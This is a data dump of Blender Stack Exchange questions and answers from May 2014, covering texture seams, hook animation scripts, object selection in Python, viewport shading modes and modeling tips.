  <row Id="10476" PostTypeId="1" CreationDate="2014-05-17T21:56:29.610" Score="1" ViewCount="87" Body="&lt;p&gt;I am using a rig made by someone as a prop in my scene, but it has these borders / seams on the texture. I think it may be because the model is divided a lot, or it could be something else. Picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hFjBn.jpg&quot; alt=&quot;Seam 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled this, but I didn't find anything about this problem. Can someone tell me how to fix this or show me a tutorial? Also, I am a beginner so excuse me if this is a dumb question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Project file to recreate problem: &lt;a href=&quot;http://www.mediafire.com/download/raedxiikrh3w75p/File.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/raedxiikrh3w75p/File.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2014-05-17T21:56:29.610" Title="Fix seams on texture" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-05-19T05:42:36.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="10477" PostTypeId="2" ParentId="7915" CreationDate="2014-05-17T23:24:08.877" Score="2" Body="&lt;p&gt;It seems to me that this &lt;a href=&quot;https://developer.blender.org/T40243&quot; rel=&quot;nofollow noreferrer&quot;&gt;might be a bug&lt;/a&gt; caused by multiple importance sampling. If you disable it (for the mesh light), it works as expected (the floor is a 50% mix of glossy and diffuse):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Wp8a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this makes it extremely slow to converge..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-17T23:43:32.073" LastActivityDate="2014-05-17T23:43:32.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10478" PostTypeId="1" AcceptedAnswerId="10485" CreationDate="2014-05-18T00:42:43.333" Score="1" ViewCount="273" Body="&lt;p&gt;I would like to animate an object using vertices as anchors. Blender 2.70a implements the Laplacian deformation method for methods. I have the following code to familiarise myself with hooks. As a trial, I create a &lt;code&gt;for&lt;/code&gt; loop to increment the frame number and set the hook location in that frame to a position chosen from a list of coordinates. However, when I scroll back through the frames, the hook location is always in the same place. So the following code is setting the hook location for the entire timeline, not frame-by-frame.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# use default cube&#xA;ob = bpy.data.objects['Cube']&#xA;obdata = bpy.data.meshes['Cube']&#xA;&#xA;# make sure everything is deselected before selecting vertex for hook&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;)&#xA;bpy.context.tool_settings.mesh_select_mode = [True, False, False] # (Vertex,Edge,Face)&#xA;bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&#xA;# select vertex, add hook, rename to Hook1&#xA;obdata.vertices[0].select=True&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;bpy.ops.object.hook_add_newob()&#xA;bpy.data.objects['Empty'].name = &quot;Hook1&quot;&#xA;&#xA;# create a list of positions to move the hook through&#xA;positions = [(0,0,-2),(0,1,-2),(3,2,-1),(3,4,-1),(1,2,-1)]&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;frame=0&#xA;&#xA;for position in positions:&#xA;  scene.frame_set(frame)&#xA;  bpy.data.objects['Hook1'].location = position&#xA;  print( bpy.data.objects['Hook1'].location )&#xA;  bpy.data.objects['Hook1'].keyframe_insert(data_path=&quot;location&quot;, frame=frame, index=-1)&#xA;  frame+=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Added keyframe insertion.&lt;/p&gt;&#xA;" OwnerUserId="3522" LastEditorUserId="3522" LastEditDate="2014-05-18T01:08:25.657" LastActivityDate="2014-05-18T07:55:31.173" Title="setting hook location frame to frame" Tags="&lt;scripting&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10479" PostTypeId="1" AcceptedAnswerId="14591" CreationDate="2014-05-18T01:31:00.157" Score="0" ViewCount="1861" Body="&lt;p&gt;I successfully rigged a high poly 3 piece model and upon skinning the model, the vertex groups were created for all parts of the model. However, the &quot;Neck, Head&quot; and &quot;Hair&quot; vertex groups while created are not recognized in &quot;Weight Paint&quot; and upon applying &quot;Weight Paint&quot; manually there is no effect?&lt;br&gt;&#xA;The &quot;Red&quot; paint appears but does not allow heat, animation of the head or neck. The rest of the model works fine with &quot;Weight Paint&quot; and moves correctly. While I am new to blender what would be the best approached to this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29198&quot; rel=&quot;nofollow&quot;&gt;The model&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="2217" LastEditDate="2014-11-03T23:57:11.137" LastActivityDate="2014-11-03T23:57:11.137" Title="vertex groups created from rigging do not work" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;vertex-groups&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10480" PostTypeId="1" AcceptedAnswerId="10482" CreationDate="2014-05-18T01:53:43.357" Score="5" ViewCount="7184" Body="&lt;p&gt;I have a mesh, and it has children. One of it's children is an Empty. I know there is a way to select an object by type using Python (and there's a button for it too) and it's this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.object.select_by_type(type='EMPTY')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there was a way to deselect an object by type. Basically, I want to select the children of the mesh, then deselect the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="12" LastEditDate="2014-05-18T02:24:05.410" LastActivityDate="2014-05-19T14:18:14.010" Title="Deselect Objects by Type with Python" Tags="&lt;python&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10481" PostTypeId="1" AcceptedAnswerId="10487" CreationDate="2014-05-18T02:02:51.037" Score="3" ViewCount="3899" Body="&lt;p&gt;When Viewport Shading is set to Texture and I set the Shading section's material mode to GLSL instead of Multitexture, the UV's are incorrect and do not update when I adjust them. But when I set it to Multitexture, the material properties are incorrect (normal maps ignored, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only when I set Viewport Shading to Rendered does everything appear correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something about GLSL mode? I created a UV sphere, and it always shows the original UV's from before I did my own unwrap on them.&lt;/p&gt;&#xA;" OwnerUserId="3523" LastActivityDate="2014-12-22T16:30:38.667" Title="UV's not updated in Textured view when in GLSL material mode" Tags="&lt;materials&gt;&lt;3d-view&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10482" PostTypeId="2" ParentId="10480" CreationDate="2014-05-18T02:18:21.760" Score="7" Body="&lt;p&gt;I would suggest not to use &lt;code&gt;bpy.ops&lt;/code&gt; and instead access the selection directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# assume you the active object is the parent&#xA;for obj in bpy.context.object.children:&#xA;    if obj.type != 'EMPTY':&#xA;        obj.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a little more clever, you can do it recursively (to select children's children).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def select_children_recursive(obj_parent):&#xA;    for obj in obj_parent.children:&#xA;        select_children_recursive(obj)&#xA;        if obj.type != 'EMPTY':&#xA;            obj.select = True&#xA;# call the function&#xA;select_children_recursive(bpy.context.object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similar to above but caller can define types not to select&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def select_children_recursive(obj_parent, type_mask):&#xA;    for obj in obj_parent.children:&#xA;        select_children_recursive(obj)&#xA;        if obj.type not in type_mask:&#xA;            obj.select = True&#xA;# call the function&#xA;select_children_recursive(bpy.context.object, {'EMPTY', 'LAMP'})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2014-05-19T14:18:14.010" LastActivityDate="2014-05-19T14:18:14.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10483" PostTypeId="2" ParentId="10480" CreationDate="2014-05-18T02:18:31.507" Score="3" Body="&lt;p&gt;For your use case, something like this will work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# go through the children of the parent object&#xA;for child in bpy.data.objects[&quot;Cube&quot;].children:&#xA;    # if the child is not an empty, select it&#xA;    if child.type != 'EMPTY':&#xA;        child.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-05-18T02:23:38.910" LastActivityDate="2014-05-18T02:23:38.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10484" PostTypeId="1" CreationDate="2014-05-18T05:07:21.607" Score="3" ViewCount="2238" Body="&lt;p&gt;I am trying to get hair to come from one side of my plane but it is being emitted from both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqT6z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3524" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:36:05.480" LastActivityDate="2015-11-30T22:36:05.480" Title="Hair Direction in Cycles ParticleSystem" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10485" PostTypeId="2" ParentId="10478" CreationDate="2014-05-18T07:55:31.173" Score="0" Body="&lt;p&gt;In order for blender to store the location on each frame, you must &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions&quot; rel=&quot;nofollow&quot;&gt;insert a keyframe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bpy.types.bpy_struct.html?#bpy.types.bpy_struct.keyframe_insert&quot; rel=&quot;nofollow&quot;&gt;blender API reference for details&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-18T07:55:31.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10487" PostTypeId="2" ParentId="10481" CreationDate="2014-05-18T08:49:31.557" Score="4" Body="&lt;p&gt;Blender behaves in a way designed to help make UV Editing/Texturing easy. Which can be a bit confusing at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;strong&gt;Blender Render&lt;/strong&gt; and the 3DView's draw mode is set to &lt;strong&gt;Solid&lt;/strong&gt; and Textured Solid shading is enabled both Multitexture and GLSL behave as follows -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I53U7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are in edit mode, you can select one of an objects UV Maps, then select an image in the UV Image Editor to associate with that UV Map. While still in edit mode selecting another UV Map will also switch the image displayed in the UV Image Editor to show the image associated with it, which will also be the UV Map and image used for display in the 3DView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode selecting a UV Map will still switch the UV Map and image used in the 3DView but not the image shown in the UV Image Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When unwrapping objects this is helpful but it does override the texture setup for the material. So for the texture shown may not be the same as what gets rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the 3DView shading is set to &lt;strong&gt;Texture&lt;/strong&gt;, multitexture continues to behave this way but GLSL will use the image set to be used in the texture. If multiple image textures are defined then the image used in the texture lowest in the texture list will be used and if the UV Map to use is also defined in the same texture then it will be used instead of the selected UV Map in the UV Map list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a material with one texture and UV Map then GLSL will look closer to the rendered result, but using multiple textures will still vary from the rendered result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;strong&gt;Cycles&lt;/strong&gt; it can seem a bit trickier. With &lt;strong&gt;Texure&lt;/strong&gt; shading it uses the UV Map selected but uses an image from the active Image Texture node (the selected -or last selected- image node in the node editor) from the objects material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;strong&gt;Material&lt;/strong&gt; shading it gets an approximation of the images used in the material, that is image nodes connected to the output with other nodes mixed in also altering the appearance but they don't give the same result as when rendered. Any uvmapping adjustments being fed into the image nodes also effect the result seen in the 3dView.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-18T08:49:31.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10488" PostTypeId="2" ParentId="10484" CreationDate="2014-05-18T09:11:15.283" Score="2" Body="&lt;p&gt;The object origin of the cylinder is used as the emission point. In your .blend,  the origin of the cylinder is in its center, so each particle instance of the cylinder is exactly half on the top and half on the bottom.&lt;/p&gt;&#xA;&lt;p&gt;To set the origin to one end:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cylinder and enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one end of it and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; Cursor to selected&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o7CyY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&amp;gt; Origin to 3D cursor&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoxRp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-18T09:11:15.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10490" PostTypeId="1" AcceptedAnswerId="10492" CreationDate="2014-05-18T15:18:25.877" Score="3" ViewCount="37300" Body="&lt;p&gt;I want to model a pistol like this for my FPS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OrcuB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how the cylinder for the front of the barrel is very low poly. How do I make a cylinder less low poly? Or even a sphere, anything?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="12" LastEditDate="2014-05-18T20:38:00.377" LastActivityDate="2014-05-18T20:38:00.377" Title="How to change a primitive's properties after creating it?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-19T03:28:41.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="10492" PostTypeId="2" ParentId="10490" CreationDate="2014-05-18T16:24:51.503" Score="7" Body="&lt;p&gt;You can edit the polycount of cylinder by playing with the &quot;Vertices&quot;-setting in this interface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wAxlU.png&quot; alt=&quot;New Cylinder&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;T&lt;/kbd&gt; if you don't see this after Adding a new Cylinder.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-05-18T16:24:51.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10493" PostTypeId="1" CreationDate="2014-05-18T16:30:51.643" Score="3" ViewCount="2681" Body="&lt;p&gt;Is there a way to enable/force Cycles Viewport Render to show live updates while Texture Painting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does only shows changes on Viewport Render restart.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-09-16T18:17:32.690" Title="Cycles Viewport Render not updating while Texture Painting" Tags="&lt;cycles-render-engine&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10494" PostTypeId="2" ParentId="9390" CreationDate="2014-05-18T16:36:28.677" Score="13" Body="&lt;p&gt;Each pair of bones need to have the same name with the suffix .L for the left side and .R for the right side. E.g. UpperArm.L and UpperArm.R. In the weighting Options of the tool panel turn on &quot;X Mirror&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2014-05-18T16:36:28.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10495" PostTypeId="1" AcceptedAnswerId="10496" CreationDate="2014-05-18T17:16:07.160" Score="1" ViewCount="1348" Body="&lt;p&gt;I was making a game with blender like creating buttons and stuff but um... I don't know how to use Blenders API, or GUI. I wanted to create functioning buttons and creating user input on the screen like you would in Tkinter for python. I am really confused on what to do with Blenders GUI stuff... I meanm like how to access and create stuff with it. So is there a way to use Blenders API (mainly I want to have control over blenders GUI to do what ever I want)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I import blenders game engine like this &quot;import bge&quot; or &quot;from bge import *&quot; but it says model don't exist. What should I do? am I missing a module?&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2014-05-18T18:08:57.660" Title="How to use Blenders GUI?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ClosedDate="2014-05-19T04:15:38.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="10496" PostTypeId="2" ParentId="10495" CreationDate="2014-05-18T18:08:57.660" Score="1" Body="&lt;p&gt;You may be able to learn the Blender interface while working on your game, but I suspect that this is more of a challenge than you need to take on. If you're totally new to Blender, I think you'll find it salutary to gain some familiarity with the Blender and the Blender interface tools by working through one (or both) of two online courses, one by James Chronsiter at [&lt;a href=&quot;http://www.cdschools.org/Page/455%5d&quot; rel=&quot;nofollow&quot;&gt;http://www.cdschools.org/Page/455]&lt;/a&gt;, with video supplements at [&lt;a href=&quot;http://4chron.home.comcast.net/~4chron/CDCADTutorials.htm%5d&quot; rel=&quot;nofollow&quot;&gt;http://4chron.home.comcast.net/~4chron/CDCADTutorials.htm]&lt;/a&gt;, or alternatively Neil Hirsig's course at [&lt;a href=&quot;http://gryllus.net/Blender/3D.html%5d&quot; rel=&quot;nofollow&quot;&gt;http://gryllus.net/Blender/3D.html]&lt;/a&gt;. These will give you a solid introduction to the interface, and some introduction to the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a number of books available that can help, including free downloads from Wikibooks [&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D%3a_Noob_to_Pro%5d&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro]&lt;/a&gt;, and a book by John Blain (a bit out of date, but still using basically the same interface as the current edition), [&lt;a href=&quot;http://download.blender.org/documentation/pdf/John%20M%20Blain%20-%20An%20Introduction%20To%20Blender%203D%20-%20A%20Book%20For%20Beginners%20%282011%29.pdf%5d&quot; rel=&quot;nofollow&quot;&gt;http://download.blender.org/documentation/pdf/John%20M%20Blain%20-%20An%20Introduction%20To%20Blender%203D%20-%20A%20Book%20For%20Beginners%20%282011%29.pdf]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-18T18:08:57.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10497" PostTypeId="1" CreationDate="2014-05-18T20:43:36.970" Score="1" ViewCount="19" Body="&lt;p&gt;I scaled an object up in Object mode, but when I start the game engine it returns to a much smaller size. This occurs when the object is a Soft Body, when I set it back to Static or to Rigid Body for physics it scales properly in the engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried clicking the &quot;Apply Transformation&quot; button in Rigid Body Tools under the Physic tab in the object toolbar but it doesn't have a noticeable effect. (There isn't a Soft Body tools that I can find).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have scaling work for a soft body or do I need to go back and create a new larger mesh?&lt;/p&gt;&#xA;" OwnerUserId="3526" LastActivityDate="2014-05-18T20:51:22.997" Title="Scaling has no effect in Blender Game Engine" Tags="&lt;game-engine&gt;&lt;transforms&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-05-18T20:44:57.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="10498" PostTypeId="2" ParentId="9015" CreationDate="2014-05-18T20:44:52.670" Score="1" Body="&lt;p&gt;You can apply the object mode transforms directly to the mesh data with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; (see &lt;a href=&quot;https://blender.stackexchange.com/q/3646/599&quot;&gt;How to apply transformations directly on mesh data?&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Apply Transformation&lt;/em&gt; button in the rigid body tools panel applies any &lt;em&gt;3D view&lt;/em&gt; rigid body transformations to the object. For example, if you use rigid body physics (in the 3D view, not the game engine) to drop an object to the ground, then you can set that to be the initial state of the object by pressing that button (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Visual Transform&lt;/em&gt;). &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-05-18T20:51:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10499" PostTypeId="1" AcceptedAnswerId="10500" CreationDate="2014-05-19T00:28:58.793" Score="1" ViewCount="1058" Body="&lt;p&gt;Let's say I'm changing the scale of one face and subdividing it and whatnot, but I have 20 of those faces. How do I just select all of them and change one so that it also changes all the others in the same way I changed the first one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making a castle, and I have a design to make, but I don't want to do it to every brick, I just want to select one, make the fancy design, and then it would be on all the other bricks so that they would all look the same.&lt;/p&gt;&#xA;" OwnerDisplayName="user2975" LastEditorUserId="1253" LastEditDate="2014-05-19T10:40:10.680" LastActivityDate="2014-05-19T10:40:10.680" Title="How to change mutiple parts by changing just one?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10500" PostTypeId="2" ParentId="10499" CreationDate="2014-05-19T01:00:35.867" Score="1" Body="&lt;p&gt;There are several ways to do this:&lt;/p&gt;&#xA;&lt;h1&gt;Array modifier&lt;/h1&gt;&#xA;&lt;p&gt;You can use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Array modifier&lt;/em&gt;&lt;/a&gt; to do this. Use multiple modifiers to make the wall, and then model the design (or model the design first and add the array modifiers later, the order doesn't matter):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KadLo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Linked Meshes&lt;/h1&gt;&#xA;&lt;p&gt;You can link the mesh data of two objects together by press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object Data&lt;/em&gt;. Note that this will make the mesh data of the objects identical, however you can still transform (scale, rotate, etc.) them independently in object mode.&lt;/p&gt;&#xA;&lt;p&gt;Related shortcuts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To quickly duplicate and link objects in one step, you can press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To unlink an object or objects, press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object and Data&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2DNdm.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Dupli objects&lt;/h1&gt;&#xA;&lt;p&gt;Dupli objects are used to display instances of an object on the vertices or faces of another object. They can also be used to display duplicates of the object in time (dupliframes) or an entire group of objects. Duplifaces are faster and use less memory than the array modifier, see &lt;a href=&quot;https://blender.stackexchange.com/q/7235/599&quot;&gt;Applying Array Modifier - Still instance?&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can also use them to make an instanced array modifier (which does not use instances), giving a performance boost. See &lt;a href=&quot;https://blender.stackexchange.com/q/9206/599&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Particles&lt;/h1&gt;&#xA;&lt;p&gt;You can do pretty much the same things with particles as with dupliverts and duplifaces, however you have more control over the orientations of the instances.&lt;/p&gt;&#xA;&lt;p&gt;Plus you can also do some interesting tricks with hair particles or particles with physics.&lt;/p&gt;&#xA;&lt;h1&gt;Modeling&lt;/h1&gt;&#xA;&lt;p&gt;You can do this to some degree with normal modeling tools (useful for some quick symmetrical actions), however for creating something like a tiled wall the other techniques are probably better.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/5057/599&quot;&gt;Mirror changes to side of cube across all six sides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-19T01:00:35.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10502" PostTypeId="2" ParentId="10493" CreationDate="2014-05-19T03:28:41.323" Score="1" Body="&lt;p&gt;My answer to &lt;a href=&quot;https://blender.stackexchange.com/q/10481/935&quot;&gt;this question&lt;/a&gt; explains most of the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key points to make texture painting work while Cycles is set as the render engine are -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The 3DView shading mode should be set to Texture&lt;/li&gt;&#xA;&lt;li&gt;The object needs to have a UV Map&lt;/li&gt;&#xA;&lt;li&gt;The object needs to have a material that has an image node set to the desired image&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When the material has multiple image nodes the selected image node defines the active image being drawn to. The image node does not need to be connected to any other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UV Map selected in the UV Map list is the one being used to display the image selected. Any UV Maps linked into the image node are ignored with the 3DView set to Texture shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can switch the render engine to Blender Render while you do texture painting, the only real difference is that Cycles chooses the image from an image node were Blender Render links the image in the UV Image Editor to a UV Map while in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-05-19T03:28:41.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10503" PostTypeId="1" CreationDate="2014-05-19T06:30:07.270" Score="4" ViewCount="599" Body="&lt;p&gt;I need sort of an alarm script that will play a loud sound when baking has finished. How can I get such a  script to run when baking is complete?&lt;/p&gt;&#xA;" OwnerUserId="3528" LastEditorUserId="696" LastEditDate="2014-05-20T00:45:18.877" LastActivityDate="2014-05-30T17:23:21.527" Title="How to run a script when when baking is finished?" Tags="&lt;scripting&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10504" PostTypeId="2" ParentId="10499" CreationDate="2014-05-19T07:23:19.093" Score="0" Body="&lt;p&gt;OK. I'm going to answer just a bit outside the box here. I agree that each of the methods Gandalf3 mentions in his answer work to do what the Androidmaster wants to accomplish. But to me, this is essentially a workflow issue. Before start Blender to begin a new project, I spend some time thinking about how I want to do the project, and what I'm going to want to do. If I were to model androidmaster's castle, I would have decided before I launched Blender which elements I would be modeling from scratch, and which I would be duplicating. If I know I'm going to want some elements to mirror other elements, I can then decide how I want to do that, and plan my workflow accordingly, because the final result one wants to achieve with the model will affect the choice of duplicating one chooses to use. &lt;/p&gt;&#xA;" OwnerUserId="3401" 